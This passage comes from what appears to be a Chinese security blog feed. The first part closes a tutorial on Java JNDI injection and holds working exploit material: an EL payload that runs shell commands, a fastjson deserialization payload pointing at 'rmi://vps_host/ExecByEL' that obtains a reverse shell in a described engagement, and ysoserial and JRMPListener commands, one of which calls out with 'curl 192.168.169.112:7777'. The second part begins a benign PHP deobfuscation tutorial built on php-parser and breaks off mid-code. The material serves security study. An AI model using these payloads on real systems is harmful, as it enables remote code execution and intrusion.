<span class="comment">//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code</span></span><br><span class="line">            resourceRef.add(<span class="keyword">new</span> StringRefAddr(<span class="string">"forceString"</span>, <span class="string">"x=eval"</span>));</span><br><span class="line">            <span class="comment">//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows</span></span><br><span class="line">            resourceRef.add(<span class="keyword">new</span> StringRefAddr(<span class="string">"x"</span>, <span class="string">"\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\")"</span>));</span><br><span class="line"></span><br><span class="line">            ReferenceWrapper referenceWrapper = <span class="keyword">new</span> ReferenceWrapper(resourceRef);</span><br><span class="line">            registry.bind(<span class="string">"hello"</span>,referenceWrapper);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (RemoteException e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125; <span class="keyword">catch</span> (AlreadyBoundException e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125; <span class="keyword">catch</span> (NamingException e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h5 id="实战案例"><a href="#实战案例" class="headerlink" title="实战案例"></a>实战案例</h5><p>在一次测试任务中正好遇到了这类情况，服务器 JDK 版本略高（get shell 后发现是 openjdk 1.8.0_201），存在 fastjson &lt;= 1.2.47 的反序列化漏洞，如下</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/java-jndi-inject.assets/image-20200807155451495.png" alt="image-20200807155451495"></p><p>但是使用 RMI + JNDI References 注入或者 LDAP + JNDI References 注入都是不行的，因为 JDK 版本限制，但是由于测试发现目标使用的是 springBoot，所以可以试一试 tomcat-el 利用链，利用本地 Class 作为 Reference Factory</p><p>这里直接使用 <a href="https://github.com/welk1n/JNDI-Injection-Bypass" target="_blank" rel="noopener">https://github.com/welk1n/JNDI-Injection-Bypass</a> 的代码了，放在服务器上启动一个恶意 RMI Server</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/java-jndi-inject.assets/image-20200807150818908.png" alt="image-20200807150818908"></p><p>payload 打一下</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">    <span class="attr">"name"</span>: &#123;</span><br><span class="line">        <span class="attr">"@type"</span>: <span class="string">"java.lang.Class"</span>,</span><br><span class="line">        <span class="attr">"val"</span>: <span class="string">"com.sun.rowset.JdbcRowSetImpl"</span></span><br><span class="line">    &#125;,</span><br><span class="line">    <span class="attr">"x"</span>: &#123;</span><br><span class="line">        <span class="attr">"@type"</span>: <span class="string">"com.sun.rowset.JdbcRowSetImpl"</span>,</span><br><span class="line">        <span class="attr">"dataSourceName"</span>: <span class="string">"rmi://vps_host/ExecByEL"</span>,</span><br><span class="line">        <span class="attr">"autoCommit"</span>: <span class="literal">true</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/java-jndi-inject.assets/image-20200807151023449.png" alt="image-20200807151023449"></p><p>服务器接收到请求，默认反弹的 shell 监听端口是 5555，可以在 EvilRMIServer.java 代码里改</p><p>接收反弹 shell</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/java-jndi-inject.assets/image-20200807151130413.png" alt="image-20200807151130413"></p><h4 id="（2）利用反序列化触发本地-Gadget"><a href="#（2）利用反序列化触发本地-Gadget" class="headerlink" title="（2）利用反序列化触发本地 Gadget"></a>（2）利用反序列化触发本地 Gadget</h4><p>在使用 LDAP + JNDI Reference 注入受到目标 JDK 版本限制的时候，无法让目标使用我们的远程类，这时可以使用 LDAP 直接返回一个序列化的对象数据，因为如果 Java 对象的 javaSerializedData 属性值不为空，则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化，利用目标本地 classpath 中的 gadget 进行反序列化而完成漏洞利用</p><p>假设目标使用了存在漏洞的 Commons Collections，先使用 ysoserial 生成一条反序列化 payload</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 <span class="string">'curl 192.168.169.112:7777'</span> | base64</span><br></pre></td></tr></table></figure><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/java-jndi-inject.assets/image-20200810101742998.png" alt="image-20200810101742998"></p><p>因为现在 jdk 1.8 用的比较多，一些老 payload 如 CommonsCollections1、3 因为 jdk 更新了 AnnotationInvocationHandler，所以用不了，会出现<code>java.lang.Override missing element entrySet</code> 的错误</p><p>搭建恶意 ldap 服务，这里就直接使用 <a href="https://github.com/kxcode/JNDI-Exploit-Bypass-Demo" target="_blank" rel="noopener">https://github.com/kxcode/JNDI-Exploit-Bypass-Demo</a> 中的代码了</p><p>修改环境所需要的 pom.xml，在 HackerLDAPRefServer.java 中的 javaSerializedData 更改 payload，然后 maven 构建即可，注意要打包好依赖</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/java-jndi-inject.assets/image-20200810104109129.png" alt="image-20200810104109129"></p><p>启动服务</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -cp hackerserver-jar-with-dependencies.jar HackerLDAPRefServer 192.168.169.112 8888 1389</span><br></pre></td></tr></table></figure><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/java-jndi-inject.assets/image-20200810104303709.png" alt="image-20200810104303709"></p><p>下面是更改客户端代码，在项目中 PoC 目录，fastjsonjndi.Victim，只需要如下代码触发即可，其它代码可以先注释掉，更改对应的 Commons Collections 版本，将项目依赖打包好</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/java-jndi-inject.assets/image-20200810104603056.png" alt="image-20200810104603056"></p><p>根据自定义的 payload，监听对应端口，启动客户端，进行 JNDI lookup，成功利用反序列化执行系统命令</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -cp VictimClient-jar-with-dependencies.jar fastjsonjndi.Victim</span><br></pre></td></tr></table></figure><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/java-jndi-inject.assets/lz2020.gif" alt="img"></p><h4 id="（3）JRPM-反序列化"><a href="#（3）JRPM-反序列化" class="headerlink" title="（3）JRPM 反序列化"></a>（3）JRPM 反序列化</h4><p>关于 JRMP 协议(Java Remote Message Protocol)，在上文中页有所提及，是 RMI 专用的 Java 远程消息交换协议，在 RMI 中，对象通过序列化的方式进行编码传输</p><p><strong>服务端攻击客户端</strong></p><p>首先利用 ysoserial 生成 payload 并建立一个 JRMPListener，作为服务端</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 <span class="string">"open /Applications/Calculator.app"</span></span><br></pre></td></tr></table></figure><p>下面找一个简单的客户端 lookup 连接即可，就直接使用上面的 Victim.java 修改了</p><p>其它代码注释，添加</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    Registry registry = LocateRegistry.getRegistry(<span class="number">1099</span>);</span><br><span class="line">    HelloInterface hello = (HelloInterface) registry.lookup(<span class="string">"hello"</span>);</span><br><span class="line">    System.out.println(hello.sayHello(<span class="string">"hello!"</span>));</span><br><span class="line">&#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">    e.printStackTrace();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>接口类要继承 java.rmi.Remote</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">interface</span> <span class="title">HelloInterface</span> <span class="keyword">extends</span> <span class="title">java</span>.<span class="title">rmi</span>.<span class="title">Remote</span> </span>&#123;</span><br><span class="line">    <span class="function"><span class="keyword">public</span> String <span class="title">sayHello</span><span class="params">(String from)</span> <span class="keyword">throws</span> java.rmi.RemoteException</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>现在，启动客户端，连接服务端，如下图所示，由于客户端反序列化服务端返回的 payload 数据，成功利用 CommonsCollections6 弹出计算器</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/java-jndi-inject.assets/new.gif" alt="new"></p><p>反过来客户端打服务端也是可以的，可以利用 ysoserial.exploit.JRMPClient</p><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p><a href="https://kingx.me/Exploit-Java-Deserialization-with-RMI.html" target="_blank" rel="noopener">https://kingx.me/Exploit-Java-Deserialization-with-RMI.html</a></p><p><a href="https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html" target="_blank" rel="noopener">https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html</a></p><p><a href="https://www.smi1e.top/java代码审计学习之jndi注入/" target="_blank" rel="noopener">https://www.smi1e.top/java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%AD%A6%E4%B9%A0%E4%B9%8Bjndi%E6%B3%A8%E5%85%A5/</a></p><p><a href="https://xz.aliyun.com/t/7079" target="_blank" rel="noopener">https://xz.aliyun.com/t/7079</a></p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;学习 Java JNDI 注入&lt;/p&gt;
    
    </summary>
    
    
      <category term="Java" scheme="http://j0k3r.top/tags/Java/"/>
    
      <category term="JNDI" scheme="http://j0k3r.top/tags/JNDI/"/>
    
  </entry>
  
  <entry>
    <title>基于 AST（抽象语法树）解 PHP 混淆</title>
    <link href="http://j0k3r.top/2020/03/24/php-Deobfuscator/"/>
    <id>http://j0k3r.top/2020/03/24/php-Deobfuscator/</id>
    <published>2020-03-23T16:00:00.000Z</published>
    <updated>2020-03-26T10:19:05.262Z</updated>
    
    <content type="html"><![CDATA[<p>以前段时间 XCTF 抗疫赛中的 hardphp 为例，该题目最终只有一只战队解出，题目作者 zsx 也在随后的文章中点了下解混淆的思路，不过在各 writeup 中没有找到有关解混淆的完整的代码，于是学习一下通过修改 AST 节点解混淆的方法</p><a id="more"></a><h2 id="0x01-php-parser"><a href="#0x01-php-parser" class="headerlink" title="0x01 php-parser"></a>0x01 php-parser</h2><p>php-parser 是一个 PHP 库，可以将 PHP 5 或 PHP 7 代码解析为抽象语法树（AST）</p><p><a href="https://github.com/nikic/php-parser/releases" target="_blank" rel="noopener">https://github.com/nikic/php-parser/releases</a></p><p>安装</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">composer require nikic/php-parser</span><br></pre></td></tr></table></figure><p>安装好之后就可以直接引用了， <code>require dirname(__FILE__).&#39;/vendor/autoload.php&#39;;</code> </p><p>官方文档中有说 XDebug 容易使 php-parser 的运行速度慢五倍以上，最好还是禁用吧</p><p>解析代码时首先创建一个解析器 ( parser instance )</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">use</span> <span class="title">PhpParser</span>\<span class="title">ParserFactory</span>;</span><br><span class="line">$parser = (<span class="keyword">new</span> ParserFactory)-&gt;create(ParserFactory::PREFER_PHP7);</span><br></pre></td></tr></table></figure><p>使用 PREFER_PHP7 优先解析 PHP7 代码</p><p>使用 ParserFactory 的 parse 方法解析代码，得到一个 statement 节点数组，语法错误可以通过 <code>PhpParser\Error</code> 来捕获</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">use</span> <span class="title">PhpParser</span>\<span class="title">Error</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">PhpParser</span>\<span class="title">ParserFactory</span>;</span><br><span class="line"><span class="keyword">require</span> dirname(<span class="keyword">__FILE__</span>).<span class="string">'/vendor/autoload.php'</span>;</span><br><span class="line">$code = <span class="string">&lt;&lt;&lt;'CODE'</span></span><br><span class="line"><span class="string">&lt;?php</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">echo 'Hello PHP';</span></span><br><span class="line"><span class="string">CODE;</span></span><br><span class="line"></span><br><span class="line">$parser = (<span class="keyword">new</span> ParserFactory)-&gt;create(ParserFactory::PREFER_PHP7);</span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    $stmts = $parser-&gt;parse($code);</span><br><span class="line">    var_dump($stmts);</span><br><span class="line">&#125; <span class="keyword">catch</span> (Error $e) &#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">'Parse Error: '</span>, $e-&gt;getMessage();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到 statement 节点数组如下</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">array</span>(<span class="number">1</span>) &#123;</span><br><span class="line">  [<span class="number">0</span>]=&gt;</span><br><span class="line">  object(PhpParser\Node\Stmt\Echo_)<span class="comment">#1100 (2) &#123;</span></span><br><span class="line">    [<span class="string">"exprs"</span>]=&gt;</span><br><span class="line">    <span class="keyword">array</span>(<span class="number">1</span>) &#123;</span><br><span class="line">      [<span class="number">0</span>]=&gt;</span><br><span class="line">      object(PhpParser\Node\Scalar\String_)<span class="comment">#1099 (2) &#123;</span></span><br><span class="line">        [<span class="string">"value"</span>]=&gt;</span><br><span class="line">        string(<span class="number">9</span>) <span class="string">"Hello PHP"</span></span><br><span class="line">        [<span class="string">"attributes"</span>:<span class="keyword">protected</span>]=&gt;</span><br><span class="line">        <span class="keyword">array</span>(<span class="number">3</span>) &#123;</span><br><span class="line">          [<span class="string">"startLine"</span>]=&gt;</span><br><span class="line">          int(<span class="number">3</span>)</span><br><span class="line">          [<span class="string">"endLine"</span>]=&gt;</span><br><span class="line">          int(<span class="number">3</span>)</span><br><span class="line">          [<span class="string">"kind"</span>]=&gt;</span><br><span class="line">          int(<span class="number">1</span>)</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    [<span class="string">"attributes"</span>:<span class="keyword">protected</span>]=&gt;</span><br><span class="line">    <span class="keyword">array</span>(<span class="number">2</span>) &#123;</span><br><span class="line">      [<span class="string">"startLine"</span>]=&gt;</span><br><span class="line">      int(<span class="number">3</span>)</span><br><span class="line">      [<span class="string">"endLine"</span>]=&gt;</span><br><span class="line">      int(<span class="number">3</span>)</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用 NodeDumper 跟直观得查看 AST </p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">use</span> <span class="title">PhpParser</span>\<span class="title">NodeDumper</span>;</span><br><span class="line"></span><br><span class="line">$nodeDumper = <span class="keyword">new</span> NodeDumper;</span><br><span class="line"><span class="keyword">echo</span> $nodeDumper-&gt;dump($stmts), <span class="string">"\n"</span>;</span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">array</span>(</span><br><span class="line">    <span class="number">0</span>: Stmt_Echo(</span><br><span class="line">        exprs: <span class="keyword">array</span>(</span><br><span class="line">            <span class="number">0</span>: Scalar_String(</span><br><span class="line">                value: Hello PHP</span><br><span class="line">            )</span><br><span class="line">        )</span><br><span class="line">    )</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>通过 AST 可以方便查看或者修改代码中的某些值，比如通过 <code>($stmts[0]-&gt;exprs)[0]-&gt;value = &#39;Hello Word&#39;;</code>即可修改 Hello PHP 为  Hello Word。但是这是在代码结构已知的情况下做的修改，效率并不高，php-parser 提供了一种用于遍历和访问节点树的组件 <code>PhpParser\NodeTraverser</code></p><p>例如下面代码就可以将原本代码中的 <code>echo &#39;Hello PHP&#39;;</code> 换成 <code>print &#39;Hello Word&#39;;</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">use</span> <span class="title">PhpParser</span>\<span class="title">Error</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">PhpParser</span>\<span class="title">ParserFactory</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">PhpParser</span>\<span class="title">NodeDumper</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">PhpParser</span>\<span class="title">NodeTraverser</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">PhpParser</span>\<span class="title">Node</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">PhpParser</span>\<span class="title">NodeVisitorAbstract</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">PhpParser</span>\<span class="title">PrettyPrinter</span>;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">require</span> dirname(<span class="keyword">__FILE__</span>).<span class="string">'/vendor/autoload.php'</span>;</span><br><span class="line"></span><br><span class="line">$code = <span class="string">&lt;&lt;&lt;'CODE'</span></span><br><span class="line"><span class="string">&lt;?php</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">echo 'Hello PHP';</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">CODE;</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">MyNodeVisitor</span> <span class="keyword">extends</span> <span class="title">NodeVisitorAbstract</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">leaveNode</span><span class="params">(Node $node)</span> </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> ($node <span class="keyword">instanceof</span> Node\Scalar\String_) &#123;</span><br><span class="line">            $node-&gt;value = <span class="string">'Hello Word'</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">PrintNodeVisitor</span> <span class="keyword">extends</span> <span class="title">NodeVisitorAbstract</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">leaveNode</span><span class="params">(Node $node)</span> </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> ($node <span class="keyword">instanceof</span> Node\Stmt\Echo_) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">new</span> PhpParser\Node\Stmt\Expression( <span class="keyword">new</span> Node\Expr\Print_(<span class="keyword">new</span> Node\Scalar\String_(($node-&gt;exprs)[<span class="number">0</span>]-&gt;value)) );</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$parser = (<span class="keyword">new</span> ParserFactory)-&gt;create(ParserFactory::PREFER_PHP7);</span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    $stmts = $parser-&gt;parse($code);</span><br><span class="line">    $traverser = <span class="keyword">new</span> NodeTraverser;</span><br><span class="line">    <span class="comment">// 添加 node visitors</span></span><br><span class="line">    $traverser-&gt;addVisitor(<span class="keyword">new</span> MyNodeVisitor);</span><br><span class="line">    $traverser-&gt;addVisitor(<span class="keyword">new</span> PrintNodeVisitor);</span><br><span class="line">    <span class="comment">// 遍历 AST</span></span><br><span class="line">    $new_stmts = $traverser-&gt;traverse($stmts);</span><br><span class="line">    <span class="comment">// 将 AST 转为 PHP 代码</span></span><br><span class="line">    $prettyPrinter = <span class="keyword">new</span> PrettyPrinter\Standard;</span><br><span class="line">    $new_code = $prettyPrinter-&gt;prettyPrintFile($new_stmts);</span><br><span class="line">    <span class="keyword">echo</span> $code.PHP_EOL;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">"--After parser:--\n\n"</span>.$new_code;</span><br><span class="line"></span><br><span class="line">&#125; <span class="keyword">catch</span> (Error $e) &#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">'Parse Error: '</span>, $e-&gt;getMessage();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/php-Deobfuscator.assets/image-20200321215310182.png" alt></p><h2 id="0x02-解混淆-（Deobfuscate）"><a href="#0x02-解混淆-（Deobfuscate）" class="headerlink" title="0x02 解混淆 （Deobfuscate）"></a>0x02 解混淆 （Deobfuscate）</h2><p>熟悉 php-parser 对 AST 节点的操作就可以解混淆了</p><p>比如这个 index.php，可以看出混淆后的基本代码格式为</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/php-Deobfuscator.assets/image-20200324013546190.png" alt></p><p>unserialize + base64_decode 的方式赋值给 GLOBALS 数组，后面全都是基于 GLOBALS 数组的取值、运算和嵌套操作</p><p>思路也很简单，就是首先获取  <code>$GLOBALS = unserialize(base64_decode(&quot;xxxx&quot;))</code> 模式的 PHP 代码得到的变量（数组），后面在发现调用该数组值时进行替换，然后运算表达式，将得到的字符串进行拼接，换一下变量名。</p><h3 id="解变量名"><a href="#解变量名" class="headerlink" title="解变量名"></a>解变量名</h3><p>通过正则判断变量名，然后替换节点为新变量名即可</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 变量重命名</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">reNameVar</span> <span class="keyword">extends</span> <span class="title">NodeVisitorAbstract</span></span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> $varCount = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">public</span> $varReName = [];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">leaveNode</span><span class="params">(Node $node)</span></span>&#123;</span><br><span class="line">        <span class="keyword">if</span> ($node <span class="keyword">instanceof</span> Node\Expr\Variable) &#123;</span><br><span class="line">            <span class="keyword">if</span> (!preg_match(<span class="string">'/^[a-zA-Z0-9_]+$/'</span>, $node-&gt;name)) &#123;</span><br><span class="line">                <span class="keyword">if</span> (in_array($node-&gt;name, array_keys(<span class="keyword">$this</span>-&gt;varReName)))&#123;</span><br><span class="line">                    $new_var_name = str_replace($node-&gt;name, <span class="string">'var_'</span> . <span class="keyword">$this</span>-&gt;varReName[$node-&gt;name], $node-&gt;name);</span><br><span class="line">                    <span class="keyword">return</span> (<span class="keyword">new</span> Node\Expr\Variable($new_var_name));    </span><br><span class="line">                &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">                    <span class="keyword">$this</span>-&gt;varReName[$node-&gt;name] = <span class="keyword">$this</span>-&gt;varCount++;</span><br><span class="line">                    $new_var_name = str_replace($node-&gt;name, <span class="string">'var_'</span> . <span class="keyword">$this</span>-&gt;varReName[$node-&gt;name], $node-&gt;name);</span><br><span class="line">                    <span class="keyword">return</span> (<span class="keyword">new</span> Node\Expr\Variable($new_var_name));    </span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> ;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="解-unserialize-base64-decode-混淆"><a href="#解-unserialize-base64-decode-混淆" class="headerlink" title="解 unserialize + base64_decode 混淆"></a>解 unserialize + base64_decode 混淆</h3><p>在作者 zsx 的 <a href="https://blog.zsxsoft.com/post/42" target="_blank" rel="noopener">开发简单的PHP混淆器与解混淆器</a> 这篇文章中有一个简单的 demo，不过要改下，直接拿来是不行的，后面数组的值会获取不到，因为这里有两次 unserialize + base64_decode 混淆，而且后面是   <code>(&#39;unserialize&#39;)((&#39;base64_decode&#39;)(&#39;xxx&#39;)</code>  这种代码形式，还要控制获取 GLOBALS 数组内容为 NULL 时的返回结果，所以要加这两个判断</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span 